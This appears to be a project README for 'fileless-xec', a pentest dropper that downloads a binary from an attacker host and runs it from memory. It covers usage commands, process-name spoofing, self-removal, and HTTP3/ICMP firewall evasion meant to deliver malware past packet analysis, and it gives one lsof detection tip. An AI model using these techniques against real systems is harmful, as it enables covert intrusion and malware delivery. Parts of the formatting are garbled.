Fileless-Xec – Stealth Dropper Executing Remote Binaries Without Dropping Them On Disk
Certainly useful , mainly for fun, rougly inspired by 0x00 article Pentest use: fileless-xec is used on target machine to stealthy execute a binary file located on attacker machine
Short story
fileless-xec enable us to execute a remote binary on a local machine directly from memory without dropping them on disk
- simple usage
fileless-xec <binary_url>(~curl | shfor binaries) - execute binary with specified program name:
fileless-xec -n /usr/sbin/sshd <binary_raw_url> - detach program execution from
tty:setsid fileless-xec [...]
Explanation
We want to executewriteNsleep binary locate on a remote machine, locally. We first start a python http server on remote. Locally we use fileless-xec and impersonate the /usr/sbin/sshd name for the execution of the binary writeNsleep(for stealthiness & fun). Once writeNsleep started fileless-xec will delete itself (--self-remove)
Other use cases
- Execute binary with stdout/stdin
- Execute binary with arguments
fileless-xecself remove- Bypass network restriction using ICMP
- Bypass firewall with HTTP3
- "Remote go": execute go binaries without having go installed locally
- Execute a shell script
fileless-xecserver modefileless-xecon windows
Stealthiness story
- The binary file is not mapped into the host file system
- The execution program name could be customizable
- Bypass 3rd generation firewall could be done with http3 support
fileless-xecself removes once launched
memfd_create
The remote binary file is stored locally using memfd_create syscall, which store it within a memory disk which is not mapped into the file system (ie you can't find it using ls).
fexecve
Then we execute it using fexecve syscall (as it is currently not provided by syscall golang library we implem it).
With
fexecve, we could but we reference the program to run using a file descriptor, instead of the full path.
HTTP3/QUIC
Enable it with -Q/http3 flag. You can setup a light web rootfs server supporting http3 by running go run ./test/http3/light-server.go -p LISTENING PORT (This is http3 equivalent of python3 -m http.server )use test/http3/genkey.sh to generate cert and key. |
QUIC UDP aka http3 is a new generation Internet protocol that speeds online web applications that are susceptible to delay, such as searching, video streaming etc., by reducing the round-trip time (RTT) needed to connect to a server.
Because QUIC uses proprietary encryption equivalent to TLS (this will change in the future with a standardized version), 3rd generation firewalls that provide application control and visibility encounter difficulties to control and monitor QUIC traffic.
If you actually use fileless-xec as a dropper (Only for testing purpose or with the authorization), you likely want to execute some type of malwares or other file that could be drop by packet analysis. Hence, with Quic enables you could bypass packet analysis and GET a malware.
Also, in case firewall is only used for allowing/blocking traffic it could happen that firewall rules forget the udp protocol making your requests go under the radars
other skill for stealthiness
Although not present on the memory disk, the running program can still be detected using ps command for example.
- Cover the tracks with a fake program name
fileless-xec --name <fake_name> <binary_raw_url> by default the name is [kworker/u:0]
- Detach from tty to map behaviour of deamon process
setsid fileless-xec <binary_raw_url>. WIP call setsid from code
Caveats
You could still be detected with:
$ lsof | grep memfd
